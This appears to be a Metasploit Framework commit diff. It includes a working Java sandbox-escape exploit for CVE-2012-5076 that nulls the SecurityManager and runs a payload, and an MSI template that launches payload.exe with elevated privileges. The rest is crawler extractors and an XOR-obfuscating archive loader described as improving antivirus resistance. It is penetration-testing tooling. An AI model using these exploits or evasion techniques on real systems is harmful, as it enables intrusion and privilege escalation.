public void init()
|
||||
{
|
||||
try
|
||||
{
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
byte[] buffer = new byte[8192];
|
||||
int length;
|
||||
|
||||
// read in the class file from the jar
|
||||
InputStream is = getClass().getResourceAsStream("MyPayload.class");
|
||||
// and write it out to the byte array stream
|
||||
while( ( length = is.read( buffer ) ) > 0 )
|
||||
bos.write( buffer, 0, length );
|
||||
// convert it to a simple byte array
|
||||
buffer = bos.toByteArray();
|
||||
|
||||
GenericConstructor genericconstructor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
|
||||
Object obj = genericconstructor.create(new Object[] {});
|
||||
Method method = ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class });
|
||||
Class class1 = (Class)method.invoke(obj, new Object[] {
|
||||
//byte_payload
|
||||
buffer
|
||||
});
|
||||
class1.newInstance();
|
||||
//System.out.println("SecurityManager:" + System.getSecurityManager());
|
||||
//class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]);
|
||||
Payload.main(null);
|
||||
//Runtime.getRuntime().exec("calc.exe");
|
||||
}
|
||||
catch(Exception exception)
|
||||
{
|
||||
//exception.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
# rt.jar must be in the classpath!
|
||||
|
||||
CLASSES = \
|
||||
Exploit.java \
|
||||
MyPayload.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv Exploit.class ../../../../data/exploits/cve-2012-5076/
|
||||
mv MyPayload.class ../../../../data/exploits/cve-2012-5076/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
|
@ -0,0 +1,33 @@
|
|||
import java.security.*;
|
||||
|
||||
public class MyPayload
|
||||
implements PrivilegedExceptionAction
|
||||
{
|
||||
|
||||
public MyPayload()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged(this);
|
||||
}
|
||||
catch(PrivilegedActionException e)
|
||||
{
|
||||
//e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Object run()
|
||||
throws Exception
|
||||
{
|
||||
System.setSecurityManager(null);
|
||||
return null;
|
||||
}
|
||||
|
||||
public static void r()
|
||||
throws Exception
|
||||
{
|
||||
//System.out.println("hello!");
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -0,0 +1,29 @@
|
|||
<?xml version='1.0' encoding='windows-1252'?>
|
||||
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
|
||||
<Product Name='Foobar 1.0' Id='*'
|
||||
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
|
||||
|
||||
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
|
||||
|
||||
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
|
||||
|
||||
<Directory Id='TARGETDIR' Name='SourceDir'>
|
||||
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
|
||||
<Condition>0</Condition>
|
||||
</Component>
|
||||
</Directory>
|
||||
|
||||
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
|
||||
<CustomAction Id='ExecNotepad' Directory='TARGETDIR' Impersonate='no' Execute='deferred' ExeCommand='[SourceDir]payload.exe' Return='asyncNoWait'/>
|
||||
|
||||
<Feature Id='Complete' Level='1'>
|
||||
<ComponentRef Id='MyComponent' />
|
||||
</Feature>
|
||||
|
||||
<InstallExecuteSequence>
|
||||
<ResolveSource After="CostInitialize" />
|
||||
<Custom Action="ExecNotepad" After="InstallInitialize" />
|
||||
</InstallExecuteSequence>
|
||||
|
||||
</Product>
|
||||
</Wix>
|
|
@ -423,7 +423,12 @@ nameloop: for (int i = 0; i < names.length; i++) {
|
|||
public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) {
|
||||
return new ActionListener(){
|
||||
public void actionPerformed(ActionEvent e) {
|
||||
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
|
||||
//If we have saved options for this module, use those
|
||||
Object modOptions = MsfguiApp.getPropertiesNode().get("modOptions");
|
||||
if(modOptions != null && ((Map)modOptions).containsKey(type+" "+modName))
|
||||
new ModulePopup(rpcConn, ((List)((Map)modOptions).get(type+" "+modName)).toArray(), MainFrame.this).setVisible(true);
|
||||
else //otherwise go with the default
|
||||
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
|
|
@ -287,12 +287,19 @@ public class MsfguiApp extends SingleFrameApplication {
|
|||
}
|
||||
Map hash = (Map)args.get(2);
|
||||
StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1));
|
||||
//Save these options
|
||||
if(!propRoot.containsKey("modOptions")) //first ensure option map exists
|
||||
propRoot.put("modOptions", new HashMap());
|
||||
((Map)propRoot.get("modOptions")).put(name.toString(), args);
|
||||
|
||||
//Generate display name
|
||||
for(Object ento : hash.entrySet()){
|
||||
Entry ent = (Entry)ento;
|
||||
String propName = ent.getKey().toString();
|
||||
if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD"))
|
||||
name.append(" ").append(propName).append("-").append(ent.getValue());
|
||||
}
|
||||
//Make menu item
|
||||
final JMenuItem item = new JMenuItem(name.toString());
|
||||
item.addActionListener(new ActionListener() {
|
||||
public void actionPerformed(ActionEvent e) {
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
This directory must be populated with the libs and includes for the commercial
|
||||
Packet SDK in order for the sniffer extension to build. This SDK is not
|
||||
publicly available at this time.
|
||||
|
||||
The 32-bit lib should be copied to win32/pssdk.lib
|
||||
The 64-bit lib should be copied to win64/pssdk.lib
|
||||
|
|
@ -9,7 +9,7 @@ require 'anemone/storage/base'
|
|||
|
||||
module Anemone
|
||||
|
||||
VERSION = '0.5.0';
|
||||
VERSION = '0.5.0'
|
||||
|
||||
#
|
||||
# Convenience method to start a crawl
|
||||
|
@ -48,7 +48,7 @@ module Anemone
|
|||
:cookies => nil,
|
||||
# basic authentication data to send with HTTP requests
|
||||
:http_basic_auth => nil,
|
||||
# array or raw header lines to inject into each request
|
||||
# array or raw header lines to inject into each request
|
||||
:inject_headers => [],
|
||||
# accept cookies from the server and send them back?
|
||||
:accept_cookies => false,
|
||||
|
@ -77,7 +77,7 @@ module Anemone
|
|||
@skip_link_patterns = []
|
||||
@after_crawl_blocks = []
|
||||
@opts = opts
|
||||
|
||||
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
|
@ -277,7 +277,7 @@ module Anemone
|
|||
false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns +true+ if *link* should not be visited because
|
||||
# it has a query string and +skip_query_strings+ is true.
|
||||
|
@ -301,6 +301,6 @@ module Anemone
|
|||
@tentacles.each {|t| t.kill rescue nil }
|
||||
@pages = nil
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Anchors < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( '//a[@href]' ).map { |a| a['href'] }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,12 @@
|
|||
class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
return [] if page.code.to_i != 200
|
||||
|
||||
@@dirs ||= nil
|
||||
|
||||
return @@dirs if @@dirs
|
||||
@@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
test/
|
||||
tmp/
|
||||
stuff/
|
||||
awstats/
|
||||
awstats/awstats/
|
||||
basilic/
|
||||
cacti/
|
||||
docs/text/manual.txt
|
||||
docs/CHANGELOG
|
||||
docs/html/php_script_server.html
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Forms < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( '//form[@action]' ).map { |a| a['action'] }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Frames < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,50 @@
|
|||
require 'uri'
|
||||
|
||||
class Anemone::Extractors::Generic < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
URI.extract( doc.to_s, %w(http https) ).map do |u|
|
||||
#
|
||||
# This extractor needs to be a tiny bit intelligent because
|
||||
# due to its generic nature it'll inevitably match some garbage.
|
||||
#
|
||||
# For example, if some JS code contains:
|
||||
#
|
||||
# var = 'http://blah.com?id=1'
|
||||
#
|
||||
# or
|
||||
#
|
||||
# var = { 'http://blah.com?id=1', 1 }
|
||||
#
|
||||
#
|
||||
# The URI.extract call will match:
|
||||
#
|
||||
# http://blah.com?id=1'
|
||||
#
|
||||
# and
|
||||
#
|
||||
# http://blah.com?id=1',
|
||||
#
|
||||
# respectively.
|
||||
#
|
||||
if !includes_quotes?( u )
|
||||
u
|
||||
else
|
||||
if html.include?( "'#{u}" )
|
||||
u.split( '\'' ).first
|
||||
elsif html.include?( "\"#{u}" )
|
||||
u.split( '"' ).first
|
||||
else
|
||||
u
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
[]
|
||||
end
|
||||
|
||||
def includes_quotes?( url )
|
||||
url.include?( '\'' ) || url.include?( '"' )
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Links < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( "//link[@href]" ).map { |a| a['href'] }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
|
||||
begin
|
||||
_, url = url['content'].split( ';', 2 )
|
||||
next if !url
|
||||
unquote( url.split( '=', 2 ).last )
|
||||
rescue
|
||||
next
|
||||
end
|
||||
end
|
||||
rescue
|
||||
nil
|
||||
end
|
||||
|
||||
def unquote( str )
|
||||
[ '\'', '"' ].each do |q|
|
||||
return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
|
||||
end
|
||||
str
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Scripts < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( '//script[@src]' ).map { |a| a['src'] }
|
||||
end
|
||||
|
||||
end
|
|
@ -3,6 +3,22 @@ require 'ostruct'
|
|||
require 'webrick/cookie'
|
||||
|
||||
module Anemone
|
||||
|
||||
# Path extractor container namespace.
|
||||
module Extractors
|
||||
class Base
|
||||
attr_reader :page
|
||||
|
||||
def initialize( page )
|
||||
@page = page
|
||||
end
|
||||
|
||||
def doc
|
||||
page.doc
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Page
|
||||
|
||||
# The URL of the page
|
||||
|
@ -31,7 +47,7 @@ module Anemone
|
|||
attr_accessor :response_time
|
||||
# Storage for the original HTTP request that generated this response
|
||||
attr_accessor :request
|
||||
|
||||
|
||||
#
|
||||
# Create a new page
|
||||
#
|
||||
|
@ -53,51 +69,52 @@ module Anemone
|
|||
@fetched = !params[:code].nil?
|
||||
end
|
||||
|
||||
def self.extractors
|
||||
return @extractors if @extractors
|
||||
|
||||
lib = File.dirname( __FILE__ ) + '/extractors/*.rb'
|
||||
Dir.glob( lib ).each { |e| require e }
|
||||
|
||||
@extractors = Extractors.constants.map do |e|
|
||||
next if e == :Base
|
||||
Extractors.const_get( e )
|
||||
end.compact
|
||||
end
|
||||
|
||||
def run_extractors
|
||||
return [] if !doc
|
||||
self.class.extractors.map { |e| e.new( self ).run rescue next }.flatten.
|
||||
compact.map do |p|
|
||||
abs = to_absolute( URI( p ) ) rescue next
|
||||
!in_domain?( abs ) ? nil : abs
|
||||
end.compact.uniq
|
||||
end
|
||||
|
||||
#
|
||||
# Array of distinct A tag HREFs from the page
|
||||
#
|
||||
# MODIFIED: Dig URLs from elements other than "A" refs
|
||||
#
|
||||
# MODIFIED: Dig URLs from elements other than "A" refs
|
||||
#
|
||||
def links
|
||||
return @links unless @links.nil?
|
||||
return @links if @links
|
||||
@links = []
|
||||
return @links if !doc
|
||||
|
||||
# First extract normal, direct links
|
||||
etypes = %W{a frame iframe}
|
||||
doc.css(*etypes).each do |r|
|
||||
u = r['src'] || r['href']
|
||||
next if u.nil? or u.empty?
|
||||
abs = to_absolute(URI(u)) rescue next
|
||||
@links << abs if in_domain?(abs)
|
||||
end
|
||||
|
||||
# Now create links from other content URLs
|
||||
etypes = %W{img script link form}
|
||||
doc.css(*etypes).each do |r|
|
||||
u = r['src'] || r['href'] || r['action']
|
||||
next if u.nil? or u.empty?
|
||||
|
||||
# Remove any query string
|
||||
u,tmp = u.split('?',2)
|
||||
|
||||
# Back off to the containing directory
|
||||
u.gsub!(/(.*\/)[^\/]+$/, "\\1")
|
||||
|
||||
abs = to_absolute(URI(u)) rescue next
|
||||
@links << abs if in_domain?(abs)
|
||||
end
|
||||
|
||||
nlinks = []
|
||||
@links.each do |u|
|
||||
bits = u.path.split('/')
|
||||
while(bits.length > 0)
|
||||
@links = run_extractors
|
||||
|
||||
@links |= @links.map do |u|
|
||||
# back-off to the parent dir
|
||||
to_absolute( URI( u.path.gsub( /(.*\/)[^\/]+$/, "\\1" ) ) ) rescue next
|
||||
end.uniq.compact
|
||||
|
||||
@links |= @links.map do |u|
|
||||
bits = u.path.split( '/' )
|
||||
while bits.length > 0
|
||||
bits.pop
|
||||
nlinks << to_absolute(URI(bits.join('/'))) rescue next
|
||||
end
|
||||
end
|
||||
|
||||
@links.push(nlinks)
|
||||
to_absolute( URI( bits.join( '/' ) ) ) rescue next
|
||||
end
|
||||
end.uniq.compact
|
||||
|
||||
@links.flatten!
|
||||
@links.uniq!
|
||||
@links
|
||||
|
@ -206,7 +223,7 @@ module Anemone
|
|||
'headers' => Marshal.dump(@headers),
|
||||
'data' => Marshal.dump(@data),
|
||||
'body' => @body,
|
||||
'links' => links.map(&:to_s),
|
||||
'links' => links.map(&:to_s),
|
||||
'code' => @code,
|
||||
'visited' => @visited,
|
||||
'depth' => @depth,
|
||||
|
@ -234,5 +251,10 @@ module Anemone
|
|||
end
|
||||
page
|
||||
end
|
||||
|
||||
def dup
|
||||
Marshal.load( Marshal.dump( self ) )
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'anemone/cookie_store'
|
|||
|
||||
#
|
||||
# This is an alternate Anemone::HTTP implementation that uses the Metasploit Rex
|
||||
# library and the Rex::Proto::Http protocol stack.
|
||||
# library and the Rex::Proto::Http protocol stack.
|
||||
#
|
||||
|
||||
module Anemone
|
||||
|
@ -39,7 +39,7 @@ module Anemone
|
|||
url = URI(url) unless url.is_a?(URI)
|
||||
pages = []
|
||||
get(url, referer) do |response, code, location, redirect_to, response_time|
|
||||
|
||||
|
||||
page = Page.new(location, :body => response.body.dup,
|
||||
:code => code,
|
||||
:headers => response.headers,
|
||||
|
@ -84,7 +84,7 @@ module Anemone
|
|||
def virtual_host(url)
|
||||
url.host
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Does this HTTP client accept cookies from the server?
|
||||
#
|
||||
|
@ -109,15 +109,15 @@ module Anemone
|
|||
|
||||
response, response_time = get_response(loc, referer)
|
||||
code = response.code.to_i
|
||||
|
||||
|
||||
redirect_to = nil
|
||||
if code >= 300 and code <= 310
|
||||
redirect_to = URI(response['location']).normalize
|
||||
end
|
||||
|
||||
|
||||
yield response, code, loc, redirect_to, response_time
|
||||
|
||||
|
||||
|
||||
|
||||
limit -= 1
|
||||
end while (loc = redirect_to) && allowed?(redirect_to, url) && limit > 0
|
||||
end
|
||||
|
@ -129,12 +129,11 @@ module Anemone
|
|||
# it is sent to the remote system.
|
||||
#
|
||||
def get_response(url, referer = nil)
|
||||
full_path = url.query.nil? ? url.path : "#{url.path}?#{url.query}"
|
||||
|
||||
opts = {
|
||||
'uri' => url.path
|
||||
'uri' => url.path,
|
||||
'query' => url.query
|
||||
}
|
||||
|
||||
|
||||
opts['agent'] = user_agent if user_agent
|
||||
opts['cookie'] = @cookie_store.to_s unless @cookie_store.empty? || (!accept_cookies? && @opts[:cookies].nil?)
|
||||
|
||||
|
@ -142,7 +141,7 @@ module Anemone
|
|||
if referer
|
||||
head['Referer'] = referer.to_s
|
||||
end
|
||||
|
||||
|
||||
if @opts[:http_basic_auth]
|
||||
head['Authorization'] = "Basic " + @opts[:http_basic_auth]
|
||||
end
|
||||
|
@ -151,24 +150,24 @@ module Anemone
|
|||
k,v = hdr.split(':', 2)
|
||||
head[k] = v
|
||||
end
|
||||
|
||||
|
||||
opts['headers'] = head
|
||||
|
||||
|
||||
retries = 0
|
||||
begin
|
||||
start = Time.now()
|
||||
|
||||
|
||||
response = nil
|
||||
request = nil
|
||||
begin
|
||||
conn = connection(url)
|
||||
request = conn.request_raw(opts)
|
||||
response = conn.send_recv(request, @opts[:timeout] || 10 )
|
||||
response = conn.send_recv(request, @opts[:timeout] || 10 )
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
|
||||
|
||||
finish = Time.now()
|
||||
|
||||
|
||||
response_time = ((finish - start) * 1000).round
|
||||
@cookie_store.merge!(response['Set-Cookie']) if accept_cookies?
|
||||
return response, response_time
|
||||
|
@ -191,12 +190,12 @@ module Anemone
|
|||
'SSLv23',
|
||||
@opts[:proxies]
|
||||
)
|
||||
|
||||
|
||||
conn.set_config(
|
||||
'vhost' => virtual_host(url),
|
||||
'agent' => user_agent
|
||||
)
|
||||
|
||||
|
||||
conn
|
||||
end
|
||||
|
||||
|
|
143
lib/fastlib.rb
143
lib/fastlib.rb
|
@ -8,7 +8,7 @@
|
|||
#
|
||||
|
||||
#
|
||||
# This format was specifically created to improve the performance and
|
||||
# This format was specifically created to improve the performance and
|
||||
# AV-resistance of the Metasploit Framework and Rex libraries.
|
||||
#
|
||||
|
||||
|
@ -26,7 +26,7 @@ require "find"
|
|||
# Copyright (C) 2011 Rapid7. You can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
||||
#
|
||||
#
|
||||
#
|
||||
# Roughly based on the rubyzip zip/ziprequire library:
|
||||
# >> Copyright (C) 2002 Thomas Sondergaard
|
||||
# >> rubyzip is free software; you can redistribute it and/or
|
||||
|
@ -42,10 +42,10 @@ class FastLib
|
|||
|
||||
FLAG_COMPRESS = 0x01
|
||||
FLAG_ENCRYPT = 0x02
|
||||
|
||||
|
||||
@@cache = {}
|
||||
@@has_zlib = false
|
||||
|
||||
|
||||
#
|
||||
# Load zlib support if possible
|
||||
#
|
||||
|
@ -54,16 +54,16 @@ class FastLib
|
|||
@@has_zlib = true
|
||||
rescue ::LoadError
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method returns the version of the fastlib library
|
||||
#
|
||||
def self.version
|
||||
VERSION
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method loads content from a specific archive file by name. If the
|
||||
# This method loads content from a specific archive file by name. If the
|
||||
# noprocess argument is set to true, the contents will not be expanded to
|
||||
# include workarounds for things such as __FILE__. This is useful when
|
||||
# loading raw binary data where these strings may occur
|
||||
|
@ -72,55 +72,55 @@ class FastLib
|
|||
data = ""
|
||||
load_cache(lib)
|
||||
|
||||
return if not ( @@cache[lib] and @@cache[lib][name] )
|
||||
|
||||
|
||||
return unless ( @@cache[lib] and @@cache[lib][name] )
|
||||
|
||||
|
||||
::File.open(lib, "rb") do |fd|
|
||||
fd.seek(
|
||||
@@cache[lib][:fastlib_header][0] +
|
||||
@@cache[lib][:fastlib_header][1] +
|
||||
@@cache[lib][:fastlib_header][1] +
|
||||
@@cache[lib][name][0]
|
||||
)
|
||||
data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] ))
|
||||
end
|
||||
|
||||
|
||||
# Return the contents in raw or processed form
|
||||
noprocess ? data : post_process(lib, name, data)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method caches the file list and offsets within the archive
|
||||
#
|
||||
def self.load_cache(lib)
|
||||
return if @@cache[lib]
|
||||
@@cache[lib] = {}
|
||||
|
||||
|
||||
return if not ::File.exists?(lib)
|
||||
|
||||
|
||||
::File.open(lib, 'rb') do |fd|
|
||||
dict = {}
|
||||
head = fd.read(4)
|
||||
return if head != "FAST"
|
||||
hlen = fd.read(4).unpack("N")[0]
|
||||
flag = fd.read(4).unpack("N")[0]
|
||||
|
||||
flag = fd.read(4).unpack("N")[0]
|
||||
|
||||
@@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ]
|
||||
@@cache[lib][:fastlib_flags] = flag
|
||||
|
||||
|
||||
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
|
||||
|
||||
|
||||
while nlen > 0
|
||||
name = fastlib_filter_decode( lib, fd.read(nlen) )
|
||||
dict[name] = [doff, dlen, tims]
|
||||
|
||||
|
||||
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
|
||||
end
|
||||
|
||||
|
||||
@@cache[lib].merge!(dict)
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method provides compression and encryption capabilities
|
||||
# for the fastlib archive format.
|
||||
|
@ -128,7 +128,7 @@ class FastLib
|
|||
def self.fastlib_filter_decode(lib, buff)
|
||||
|
||||
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
|
||||
|
||||
|
||||
@@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data|
|
||||
stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
|
||||
FastLib.send(stub, data)
|
||||
|
@ -136,7 +136,7 @@ class FastLib
|
|||
|
||||
buff = @@cache[lib][:fastlib_decrypt].call( buff )
|
||||
end
|
||||
|
||||
|
||||
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
|
||||
if not @@has_zlib
|
||||
raise ::RuntimeError, "zlib is required to open this archive"
|
||||
|
@ -145,9 +145,9 @@ class FastLib
|
|||
z = Zlib::Inflate.new
|
||||
buff = z.inflate(buff)
|
||||
buff << z.finish
|
||||
z.close
|
||||
z.close
|
||||
end
|
||||
|
||||
|
||||
buff
|
||||
end
|
||||
|
||||
|
@ -156,7 +156,7 @@ class FastLib
|
|||
# for the fastlib archive format.
|
||||
#
|
||||
def self.fastlib_filter_encode(lib, buff)
|
||||
|
||||
|
||||
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
|
||||
if not @@has_zlib
|
||||
raise ::RuntimeError, "zlib is required to open this archive"
|
||||
|
@ -165,11 +165,11 @@ class FastLib
|
|||
z = Zlib::Deflate.new
|
||||
buff = z.deflate(buff)
|
||||
buff << z.finish
|
||||
z.close
|
||||
z.close
|
||||
end
|
||||
|
||||
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
|
||||
|
||||
|
||||
@@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data|
|
||||
stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
|
||||
FastLib.send(stub, data)
|
||||
|
@ -177,60 +177,65 @@ class FastLib
|
|||
|
||||
buff = @@cache[lib][:fastlib_encrypt].call( buff )
|
||||
end
|
||||
|
||||
|
||||
buff
|
||||
end
|
||||
|
||||
|
||||
# This method provides a way to create a FASTLIB archive programatically.
|
||||
#
|
||||
# This method provides a way to create a FASTLIB archive programatically,
|
||||
# the key arguments are the name of the destination archive, the base
|
||||
# directory that should be excluded from the archived path, and finally
|
||||
# the list of specific files and directories to include in the archive.
|
||||
#
|
||||
# @param [String] lib the output path for the archive
|
||||
# @param [String] flag a string containing the hex values for the
|
||||
# flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
|
||||
# @param [String] bdir the path to the base directory which will be
|
||||
# stripped from all paths included in the archive
|
||||
# @param [Array<String>] dirs list of directories/files to pack into
|
||||
# the archive. All dirs should be under bdir so that the paths are
|
||||
# stripped correctly.
|
||||
# @return [void]
|
||||
def self.dump(lib, flag, bdir, *dirs)
|
||||
head = ""
|
||||
data = ""
|
||||
hidx = 0
|
||||
didx = 0
|
||||
|
||||
|
||||
bdir = bdir.gsub(/\/$/, '')
|
||||
brex = /^#{Regexp.escape(bdir)}\//
|
||||
|
||||
|
||||
@@cache[lib] = {
|
||||
:fastlib_flags => flag.to_i(16)
|
||||
}
|
||||
|
||||
|
||||
dirs.each do |dir|
|
||||
::Find.find(dir).each do |path|
|
||||
::Find.find(dir) do |path|
|
||||
next if not ::File.file?(path)
|
||||
name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
|
||||
|
||||
|
||||
buff = ""
|
||||
::File.open(path, "rb") do |fd|
|
||||
buff = fastlib_filter_encode(lib, fd.read(fd.stat.size))
|
||||
end
|
||||
|
||||
|
||||
|
||||
head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN")
|
||||
head << name
|
||||
hidx = hidx + 16 + name.length
|
||||
|
||||
|
||||
data << buff
|
||||
didx = didx + buff.length
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
head << [0,0,0].pack("NNN")
|
||||
|
||||
|
||||
::File.open(lib, "wb") do |fd|
|
||||
fd.write("FAST")
|
||||
fd.write( [ head.length, flag.to_i(16) ].pack("NN") )
|
||||
fd.write( head )
|
||||
fd.write( data )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This archive provides a way to list the contents of an archive
|
||||
# file, returning the names only in sorted order.
|
||||
|
@ -239,7 +244,7 @@ class FastLib
|
|||
load_cache(lib)
|
||||
( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] }
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method is called on the loaded is required to expand __FILE__
|
||||
# and other inline dynamic constants to map to the correct location.
|
||||
|
@ -247,7 +252,7 @@ class FastLib
|
|||
def self.post_process(lib, name, data)
|
||||
data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This is a stub crypto handler that performs a basic XOR
|
||||
# operation against a fixed one byte key. The two usable IDs
|
||||
|
@ -256,25 +261,25 @@ class FastLib
|
|||
def self.encrypt_12345600(data)
|
||||
encrypt_00000000(data)
|
||||
end
|
||||
|
||||
|
||||
def self.decrypt_12345600(data)
|
||||
encrypt_00000000(data)
|
||||
end
|
||||
|
||||
|
||||
def self.encrypt_00000000(data)
|
||||
data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*")
|
||||
end
|
||||
|
||||
|
||||
def self.decrypt_00000000(data)
|
||||
encrypt_00000000(data)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Expose the cache to callers
|
||||
#
|
||||
def self.cache
|
||||
@@cache
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
@ -288,7 +293,7 @@ if __FILE__ == $0
|
|||
$stderr.puts "Usage: #{$0} [dump|list|version] <arguments>"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
|
||||
case cmd
|
||||
when "store"
|
||||
dst = ARGV.shift
|
||||
|
@ -300,7 +305,7 @@ if __FILE__ == $0
|
|||
exit(0)
|
||||
end
|
||||
FastLib.dump(dst, flg, dir, *src)
|
||||
|
||||
|
||||
when "list"
|
||||
src = ARGV.shift
|
||||
unless src
|
||||
|
@ -319,7 +324,7 @@ if __FILE__ == $0
|
|||
when "version"
|
||||
$stdout.puts "FastLib Version #{FastLib.version}"
|
||||
end
|
||||
|
||||
|
||||
exit(0)
|
||||
end
|
||||
|
||||
|
@ -336,7 +341,7 @@ end
|
|||
* The header entries always consist of 16 bytes + name length (no alignment)
|
||||
* The header name data may be encoded, compressed, or transformed
|
||||
* The data entries may be encoded, compressed, or transformed too
|
||||
|
||||
|
||||
|
||||
4 bytes: "FAST"
|
||||
4 bytes: NBO header length
|
||||
|
@ -354,7 +359,7 @@ end
|
|||
|
||||
module Kernel #:nodoc:all
|
||||
alias :fastlib_original_require :require
|
||||
|
||||
|
||||
#
|
||||
# Store the CWD when were initially loaded
|
||||
# required for resolving relative paths
|
||||
|
@ -364,11 +369,11 @@ module Kernel #:nodoc:all
|
|||
#
|
||||
# This method hooks the original Kernel.require to support
|
||||
# loading files within FASTLIB archives
|
||||
#
|
||||
#
|
||||
def require(name)
|
||||
fastlib_require(name) || fastlib_original_require(name)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method handles the loading of FASTLIB archives
|
||||
#
|
||||
|
@ -377,24 +382,24 @@ module Kernel #:nodoc:all
|
|||
return false if fastlib_already_loaded?(name)
|
||||
return false if fastlib_already_tried?(name)
|
||||
|
||||
# XXX Implement relative search paths within archives
|
||||
$:.map{ |path|
|
||||
# XXX Implement relative search paths within archives
|
||||
$:.map{ |path|
|
||||
(path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) )
|
||||
}.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib|
|
||||
data = FastLib.load(lib, name)
|
||||
